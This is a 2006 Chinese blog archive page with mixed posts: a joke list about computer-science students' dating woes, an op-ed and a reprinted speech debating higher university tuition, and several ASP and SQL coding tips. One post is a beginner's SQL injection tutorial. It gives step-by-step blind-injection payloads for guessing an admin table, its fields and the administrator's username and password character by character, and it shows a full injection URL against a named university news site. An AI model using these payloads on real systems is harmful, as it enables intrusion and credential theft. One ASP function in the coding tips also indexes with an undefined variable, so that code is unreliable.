存档

2006年4月 的存档

计算机系男生找不到女朋友的几大理由!

2006年4月29日 4 条评论

1:金钱。计算机系男生多数是穷人,我们来算一算他们的支出;电脑4000,手机2000元,mp3500元。每月的网费50元,车费30元,电费20元,手机费100元,衣服100元,应酬100元,零用100元,饭费300元,合计800元。每月的生活费按1000元计算,还剩200元无法满足现代女生的虚荣和“逛街费”。 

2:时间。计算机系的男生整日以电脑为伴,可利用时间的3/4用于传奇,魔兽,征途等游戏,剩余的1/4时间用于上厕所和吃饭!没时间陪女朋友,即使有女朋友的也跑掉了! 

3:相貌。计算机系男生,所使用的物品大多数是高辐射,对人的伤害较大。满脸粉刺青春痘,犹如黄土高原的沟壑。相貌的“贫穷”让美女们后退。计算机系男生被称为“困难”一代! 

4:浪漫。计算机系的男生大多数是现实主义者,他们没有玫瑰,巧克力等恋爱物品,也没有“爱你一万年”“爱你到海枯石烂”等誓言。更没有“跃上柳梢头,相约黄昏后“的行动,在女生的眼里计算机系的男生,根本不懂浪漫! 

5:理想主义。计算机系男生网络接触过多,对自己的意中人要求过于苛刻,希望自己的女朋友要有维纳斯的相貌,蒙娜丽莎的笑容,雅典娜的智慧,貂蝉的身材!此女只在天上有,人间那得几回“见”! 

6:人员比例。计算机系男女比例失调,男生是女生的几倍。“近水楼台先得月”没有“楼台”何来得“月”。俗话说:“矬子里面拔大个儿”没有“矬子”更不用说“大个儿”。计算机的女生让男生们却为! 

综上所述,计算机系的男生想要找到女朋友有一定的难度。哥们儿们为了下一代的诞生努力呀

分类: 杂志 标签:

痛批“高学费对穷人有好处论”

2006年4月29日 没有评论

“高学费对穷人有好处”的逻辑悖谬和风险系数

近日,经济学家张维迎再次强调:“为什么穷人上不起大学,因为学费太低。”他认为应该再适当提高学费。他并且坦率地承认,这句早就曾讲过的话“挨骂多”。(《上海证券报》4月27日)

以张维迎教授之名气,明知“挨骂多”却仍然坚持己见,为该话题增添了讨论的价值和必要。粗看之下,张维迎此论单从逻辑上似乎有那么一点可取之处。其得出该观点的逻辑过程是:“低学费的办法实际上补贴的是富人”,而如果“把学费适当地提高,然后规定学费多少比例必须用于助学金”,穷人掏不起学费的问题就可以解决。简而言之,该办法就是试图在高校学生内部来个“劫富济贫”,最终达到“富者多掏、穷者沾光”目的。

但是,这一看似十分美妙的逻辑,实际上却经不住多少推敲。首先,张教授似乎忽略了学费问题在当前的严重性、复杂性。按现在的高校学费标准和家庭的可统计收入对比计算,有几个家庭是不必享受助学金,而且还可以承受更高学费的呢?前不久刚刚退休的教育部副部长张保庆曾经坦言,以他和夫人的收入,也只能勉强供一个大学生。那么,如果学费再“适当提高”,即便国家教育部的副部长,其家庭能否顺利供起一个大学生也已经很可怀疑。在这样的情况下,助学金要发到怎样的范围?“适当提高”到底要到什么程度,也即那些确实的富人家庭究竟需要承担多少学费,才能平衡那么多贫困生的困难?

其次,张维迎的逻辑中,也隐含着这样一种风险或陷阱:提高学费之后,“劫富”的目的或许可以达到,但是否能够真正用于“济贫”?会不会实际形成既“劫富”又“劫贫”的结果?不难看出,如果按照张维迎倡议的做法,富人注定是要多掏钱的;穷人也要先多掏些钱;至于这些多掏的钱是否能够公平有效率地返还,是否能够还到真正的穷人手中,则属于不好控制的事情。因而这个过程中,只有高校处于稳赢不输的位置,赢得了更大的经济控制权。

尤其重要的是,一直到现在,高校培养成本还是一笔糊涂账。虽然高校在不断诉苦所收学费不敷培养学生所需,但各高校都在设法扩大规模,高校工作人员的福利待遇也越来越好。现行学费“标准低”这一结论,在真实的、有公信力的培养成本出台之前,至少有显唐突。

还有,张维迎教授好像也没有考虑到甄别富人和穷人的巨大成本。如果先提高收费,然后再用助学金的形式返还,如何保证返还过程的公正,至少是一个很繁琐的问题。谁来认定呢?认定的成本有多大?最近吉利控股集团捐出5000万元资助1000名寒门学子,为了这些钱不用错地方,他们准备用于“确认”的钱竟然达200万。为什么会这样?因为他们在这方面早就上过当。的确,越是富人家庭,社会关系越丰富,寻租的能力就越强,那么,“劫富济贫”会不会劳而无功,甚至走向反面成为“劫贫济富”,是一个令人不得不担心的问题。所以,张维迎所谓的“高学费对穷人有好处”,既无坚实的逻辑根基,操作起来更是十分艰难,风险系数过大。全面看来,是一种罔顾国情、将问题简单化的似是而非的认识。

分类: 杂志 标签:

穷人上不起大学,因为学费太低?(转载)

2006年4月29日 没有评论

“为什么穷人上不起大学,因为学费太低”。什么意思?世行的研究、欧洲的研究都发现,我们用低学费的办法实际上补贴的是富人,而不是补给穷人。那我们把学费适当地提高,然后规定学费多少比例必须用于助学金,这些问题就可以很好地解决 

我想义务教育和非义务教育分开大家肯定同意,但我们始终别忘了一点,我们今天面临的教育问题,已经不是个封闭国家的教育问题,而是全球化情况下的教育问题。以大学为例,大学好多专业的教师市场开始全球化了。我们商学院感觉最深,即使在国内,李嘉诚办了商学院,欧洲办了商学院,然后哈佛等全世界的商学院都跑到中国来办。我们还要不要有中国的大学,这是一个很重要的问题。中国大学有很多种模式,有一种模式是OEM,中国人民大学、北师大、邮电大学都在做OEM。很简单,外国大学来了,你帮助招人,国内学2年,国外学1年,叫作2+1,然后就可以维持自己的大学了。我们自己的大学管得很死,没有办法,这样很可能最后都变成OEM。现在大量的商学院也都是这样的。所以,现在中国大学面临的问题是中国国有企业80年代面临的问题,只是大学死起来比较难,由于教育的特点,使它活起来难,死起来也难,没有几十年是死不掉的。 

我们再看我们的学生都是全球化的,很多的研究生没有必要非在国内上大学。现在我们一年的教育经费流失几百亿,过去是研究生出去,现在是大学、高中生好多都出去了,我们必须关注这个问题。我们的教师待遇就这样,那么好的老师都跑了,好的学生不到这来了。我想,用不了10年,英国前300所最好的中学,基本被中国人占据了。所以,我们不能关起门来看,我们现在面临的问题一方面是为中国的孩子提供什么样的教育,另外就是中国要不要有一点像样的大学。从这样的角度来看我们应该做什么?但是,现在一批评大学就是大学变成赚钱机构,腐败了,教师的心黑了,其实根本不是这样。几年前都说提高教师的待遇,义务教育国家没有给钱怎么办?大学也是这样。像北大,一个大学生25000元的成本,政府给拨款6000元钱,学费5000元,其他的钱哪来?这是很简单的算术问题。站在大学外部的人批评大学,但大学里边的人的酸甜苦辣谁知道?我们的校长们一会儿跑到新加坡,一会儿跑到泰国,干什么?给人家叩头要钱啊,没钱怎么办啊。我所知道的好的大学,并没有谁想去赚钱。我们光华管理学院这几年光从海外引进的博士学位人才50多个,我们怎么去吸引人?没有一定的待遇不行。真正好的大学,所有的经费一定是用来想办法把这个大学做得更好。我们现在海外招来的人有特殊待遇,比我们原来教员的待遇高得多,没有办法,否则人家不来。对原来的人来说,这是很大的牺牲。真正要办好大学,是需要很大的牺牲。所以,从这个意义上,我们一定要从更大的决策层面上看中国的教育问题。我们有没有竞争力?欧洲的大学为什么现在不行了?美国把它击跨了。过去是美国人去欧洲留学,现在欧洲人跑到美国留学,为什么?教育体制不行。 

再提几个问题。一个是国家保证给任何人提供免费的义务教育,但是绝不能不让私人办中学、小学,人家办得好可以呀。而且大家也不要认为私人办的中学就是拼命收钱,收钱的现象有,但是我们可以看到,私人中学特别注意把贫困生中最优秀的学生吸引到自己学校,而且是免费的,而且上大学还要提供助学金,因为他们在乎这个学校整体的声誉。所以,我们义务教育国家应该保证,但不能卡住不让私人办学校,大学更是如此。我们现在搞的大学不能让私人自由进来,我说的私人不是营利的。我可以保证,一个以营利为目的的大学绝对不会成为一流大学。现在网络大学可以做这些,培训班可以做这些,大学分工比较细,越靠近应用的东西,很多被咨询公司、公司大学做了,真正好的大学靠营利是没有办法做的。而且再过10年之后,如果中国的经济发展正常,中国出现一批有钱的人愿意投资学校,不是为了赚钱,而是为了留名。即使企业办得好,但是30年、50年可能就没有了,只有大学是长生不老的,所以,国外很多人愿意把钱捐给大学。捐给大学,过了10代人、20代人都知道他的祖先名字在大学里挂着。所以,一定会出现一批人愿意办大学。政府在这方面不能管得太死。 

另外我还要强调一下学费的问题,我过去讲过一句话也是挨骂多的一句话,“为什么穷人上不起大学,因为学费太低”。什么意思?世行的研究、欧洲的研究都发现,我们用低学费的办法实际上补贴的是富人,而不是补给穷人。那我们把学费适当地提高,然后规定学费多少比例必须用于助学金,这些问题就可以很好地解决。我们不要按计划经济统一的标准,就像病人,有钱人和没有钱的人看一样的医生,出一样的钱,这个结是解不开的。教育也是这样,其实我们学校都想各种办法筹集资金解决贫困生的学费问题,包括我个人,我把所有的稿费一年几万元全部设立贫困生的奖学金。我们还从企业找钱,国家一年给100万,学校还用各种办法拉公司设立以公司命名的助学金,想尽各种办法让贫困的孩子上大学。 

从教育内部来讲,把教育部拆开,一个专门管中小学义务教育,另外成立一个组织,是不是更好?中国的大学像现在这样管下去,最多会变成OEM,给人家代工。很多做得不死不活,北大、清华可能支撑一阵子,但是也可能支撑不了很长,就是因为管得太死。国际经验证明,为什么美国的大学可以独占鳌头?二战之前不是这样,就是因为在欧洲政府管得很死,法国要当一个教授要经过教育部考试,都是以政府为主。而美国是靠竞争,各层次的大学分开,有州立的、市立的,还有私立的,各种类型的大学,研究型的和非研究型的都分开。我们现在面临的问题是,因为我们的大学分不开层次,我就不要你的人,只要自己的人,都是自我循环。而美国的情况是,越这样越活不下去。在哈佛大学拿不到终身教职的人其他大学抢着要,因为总比自己原来的要好,这样才有人读你的大学。所以,中国的高等教育一定要本着推进竞争机制,废除政府管制这样一个方向往下走,如果不是按照这个方向走,无论怎么修修补补,可以把学费都免了,我保证会越来越糟糕。这个学费都哪去了?都出国去了。如果我们自己做好,就不会有那么多的人在大学时期,甚至高中就出国了。现在大家看,被北大和香港大学同时录取了,人家宁愿去香港大学,也不来北大。对于我们做大学的人来讲,危机感很强。我们大学的问题不是一个孤立的问题,如果不放在整个大的环境下考虑,我们这样做肯定会出问题的。 (张维迎) 

(本文系作者在2006年中国宏观经济与改革走势座谈会上的发言稿,本报略有删节,未经作者审阅——编者)

分类: 杂志 标签:

菜鸟入门级:SQL注入攻击

2006年4月29日 没有评论

一般国内的小一点的新闻站点程序 都有 ""&request 这种漏洞,下面我讲解攻击方法 

  在地址栏: 

  and 1=1 

  查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表 

  在地址栏: 

  and 0<>(select count(*) from admin) 

  返回页正常,假设成立了。 

  下面来猜猜看一下管理员表里面有几个管理员ID: 

  and 1<(select count(*) from admin) 

  页面什么都没有。管理员的数量等于或者小于1个 

  and 1=(select count(*) from admin) 

  输入=1没显示错误,说明此站点只有一个管理员。 

  下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。 

and 1=(select count(*) from admin where len(username)>0) 

  猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的

user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu 

用户名称字段猜解完成之后继续猜解密码字段 

  and 1=(select count(*) from admin where len(password)>0) 

  password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧 

  我们已经知道了管理员表里面有3个字段 id,user,password。 

  id 编号 

  user 用户名 

  password 密码 

  下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来 

  先猜出长度! 

  and 1=(select count(*) from admin where len(user)<10) 

  user 字段长度小于10 

  and 1=(select count(*) from admin where len(user)<5) 

  user 字段长度不小于5 

 慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确

  and 1=(select count(*) from admin where len(user)=6) 

  下面猜密码, 

 and 1=(select count(*) from admin where len(password)=10) 

  猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了 

下面该做的就是把他们拆开来一个一个猜字母 

  and 1=(select count(*) from admin where left(user,1)=a)

  返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了 

  开始猜解帐号的第二位字符。 

  and 1=(select count(*) from admin where left(user,2)=ad)

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 

  工作还没有完,别忙着跑了,还有10位密码,呵呵 

  and 1=(select count(*) from admin where left(password,1)=a) 

  经过无数次错误之后…… 

  http://xyz.hytc.edu.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra) 

  结果密码是administra 

  看完文章,大家不要照着我的文章做,网络上的东西是变幻无穷的,但是我相信大家的大脑肯定比他变得快,所以希望大家看了这个文章灵活运用!那样才能达到理想的效果

分类: 杂志 标签:

在ASP中不用EOF以加快循环

2006年4月28日 没有评论

一般的记录循环方式: 

Do while not rs.eof
……
rs.movenext
loop 

结果是每个循环中数据库都要进行一次数据结束测试。在大量的记录的情况下, 浪费的时间相当大。 而使用以下的代码, 可以提高近 1/3 的速度:

rs.movelast
intRecCount=rs.RecordCount
rs.movefirst

for intCounter=1 to intRecCount
………
rs.movenext
next intCounter

分类: 杂志 标签:

ASP截取字符串的前一段的函数

2006年4月28日 没有评论

Function InterceptString(text,length) '函数名
    text=trim(text) ’忽略字符串前后的空白
    text_length= len(text) '求字符串的长度
    count_length = 0 ’用来计数
    if text_length >= 1 then
        for count= 1 to text_length '这一个循环计算要截取的字符串
            if asc(mid(text,ii,1)) < 0 or asc(mid(text,ii,1)) >255 then '如果是汉字
                count_length = count_length + 2
            else
                count_length = count_length + 1
            end if
            if count_length >= length then
                text = left(trim(text),count) '字符串限长
                exit for
            end if
        next
        InterceptString = text '函数返回值
    else
        InterceptString = ""
    end if
End Function

分类: 杂志 标签:

ASP中常用的一些代码

2006年4月28日 没有评论

收集的一些比较有用也比较常用的代码:

1.获得系统时间: 
<%=now()%> 

2.取得来访用的IP: 
<%=request.serverVariables("remote_host")%> 

3.获得系统,浏览器版本: 
<script> 
window.document.write("版本:"+navigator.appName+navigator.appVersion+" browser.") 
</script> 

4.去除IE混动条: 
<body scroll="no"> 
<body style="overflow-y:hidden"> 

5.进入网站,跳出广告: 
<script language="javascript"> 
<!– 
<!– 注意更改文件所在路径–> 
window.open(''http://www.XXXXXX.com'','''',''height=200,width=300,top=0,left=30''); 
// –> 
</script> 

6.随机数: 
<%randomize%> 
<%=(int(rnd()*n)+1)%> 
N为可改变数 

7.向上混动代码: 
<marquee direction="up" scrolldelay="200" style="font-size: 9pt; color: #FF0000; line-height: 
150%; font-style:italic; 
font-weight:bold" scrollamount="2" width="206" height="207"
 bgcolor="#FFFF00">hhhhhhhhhhhhhhhhhhh</marquee> 

8.自动关闭网页: 
<script LANGUAGE="javascript"> 
<!– 
setTimeout(''window.close();'', 10000); //60秒后关闭 
// –> 
</script> 
<p align="center">本页10秒后自动关闭,请注意刷新页面</p> 

9.随机背景音乐: 
<%randomize%> 
<bgsound src="mids/<%=(int(rnd()*20)+1)%>.mid" loop="-1">   
可以修改数字,限制调用个数,我这里是20个. 

10.弹出警告框代码: 
<form> 
<p><input TYPE="button" value="弹出警告框" onCLICK="AlertButton()"></p> 
</form> 
<script language="javascript"><!– 
function AlertButton(){window.alert("要多多光临呀!");} 
// –></script>  

11.状态栏信息 
<form> 
<p><input TYPE="button" value="状态栏信息" onCLICK="StatusButton()"></p> 
</form> 
<script language="javascript"><!– 
function StatusButton(){window.status="要多多光临呀!";} 
// –></script>

分类: 杂志 标签:

ASP中RS.OPEN后参数的意义

2006年4月28日 没有评论

这是在链接数据库的时候使用的东东,常用的也就几个参数,也少有人去仔细研究这些参数了,呵呵~

RS.OPEN SQL,CONN,A,B

A: 

ADOPENFORWARDONLY(=0) 
只读,且当前数据记录只能向下移动

ADOPENKEYSET(=1) 
只读,当前数据记录可自由移动

ADOPENDYNAMIC(=2) 
可读写,当前数据记录可自由移动

ADOPENSTATIC(=3) 
可读写,当前数据记录可自由移动,可看到新增记录

B:

ADLOCKREADONLY(=1) 
缺省锁定类型,记录集是只读的,不能修改记录

ADLOCKPESSIMISTIC(=2) 
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。

ADLOCKOPTIMISTIC(=3) 
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。

ADLOCKBATCHOPTIMISTIC(=4) 
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。

当不需要改动任何记录时,应该使用只读的记录集,这样提供者不用做任何检测。
对于一般的使用,乐观的锁定可能是最好的选择,因为记录只被锁定一小段时间,
数据在这段时间被更新。这减少了资源的使用。

分类: 杂志 标签:

ASP与数据库的连接和常用SQL语句

2006年4月28日 没有评论

1. ASP与Access数据库连接:
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver 
(*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile
%>

2. ASP与SQL数据库连接:
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA 
SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>

建立记录集对象:

set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2

3. SQL常用命令使用方法:
(1) 数据记录筛选:
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"
sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"
sql="select * from 数据表 where 字段名 between 值1 and 值2"

(2) 更新数据记录:
sql="update 数据表 set 字段名=字段值 where 条件表达式"
sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"

(3) 删除数据记录:
sql="delete from 数据表 where 条件表达式"
sql="delete from 数据表" (将数据表所有记录删除)

(4) 添加数据记录:
sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)"
sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)

(5) 数据记录统计函数:
AVG(字段名) 得出一个表格栏平均值
COUNT(*¦字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加
引用以上函数的方法:
sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)
用 rs("别名") 获取统的计值,其它函数运用同上。

(6) 数据表的建立和删除:
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… ) 

(7) 记录集对象的方法:  

rs.movenext 将记录指针从当前的位置向下移一行  
rs.moveprevious 将记录指针从当前的位置向上移一行  
rs.movefirst 将记录指针移到数据表第一行  
rs.movelast 将记录指针移到数据表最后一行  
rs.absoluteposition=N 将记录指针移到数据表第N行  
rs.absolutepage=N 将记录指针移到第N页的第一行  
rs.pagesize=N 设置每页为N条记录  
rs.pagecount 根据 pagesize 的设置返回总页数  
rs.recordcount 返回记录总数  
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否  
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否  
rs.delete 删除当前记录,但记录指针不会向下移动  
rs.addnew 添加记录到数据表末端  
rs.update 更新数据表记录

分类: 杂志 标签:

FSO文件对象介绍及常用函数

2006年4月28日 没有评论

FSO的意思是FileSystemObject,即文件系统对象。FSO对象模型包含在Scripting 类型库 (Scrrun.Dll)中,它同时包含了Drive、Folder、File、FileSystemObject和TextStream五个对象,用来操作文件和文件夹十分方便。

FSO文件(File)对象属性

属 性            说 明
DateCreated        返回该文件夹的创建日期和时间
DateLastAccessed    返回最后一次访问该文件的日期和时间
DateLastModified    返回最后一次修改该文件的日期和时间
Drive            返回该文件所在的驱动器的Drive对象
Name            设定或返回文件的名字
ParentFolder        返回该文件的父文件夹的Folder对象
Path            返回文件的绝对路径,可使用长文件名
ShortName        返回DOS风格的8.3形式的文件名
ShortPath        返回DOS风格的8.3形式的文件绝对路径
Size            返回该文件的大小(字节)
Type            如果可能,返回一个文件类型的说明字符串

FSO文件(File)对象方法

FSO文件对象方法        用途
CopyFile        拷贝一个或者多个文件到新路径
CreateTextFile        创建文件并且返回一个TextStream对象
DeleteFile        删除一个文件
OpenTextFile        打开文件并且返回TextStream对象,以便读取或者追加

重命名文件:

引用内容:
Function reName(sourceName,destName)
    dim oFso,oFile
    set oFso=server.createobject("Scripting.FileSystemObject")
    set oFile=oFso.getFile(Server.mappath(sourceName))
    oFile.Name=destName
    Set oFso=Nothing
    Set oFile=Nothing
End Function

删除文件

引用内容:
Function FSOdel(fileName)
    dim fso,f
    set fso = server.CreateObject("scripting.filesystemobject")
    f=server.MapPath(fileName)
    if fso.FileExists(f) then
        fso.DeleteFile f,true
    end if
    set f = nothing
    set fso = nothing
End Function

替换文件中的字符串

引用内容:
Function FSOreplace(fileName,Target,repString)
    Dim objFSO,objCountFile,FiletempData
    Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
    Set objCountFile = objFSO.OpenTextFile(Server.MapPath(fileName),1,True)
    FiletempData = objCountFile.ReadAll
    objCountFile.Close
    FiletempData=Replace(FiletempData,Target,repString)
    Set objCountFile=objFSO.CreateTextFile(Server.MapPath(fileName),True)
    objCountFile.Write FiletempData
    objCountFile.Close
    Set objCountFile=Nothing
    Set objFSO = Nothing
End Function

分类: 杂志 标签: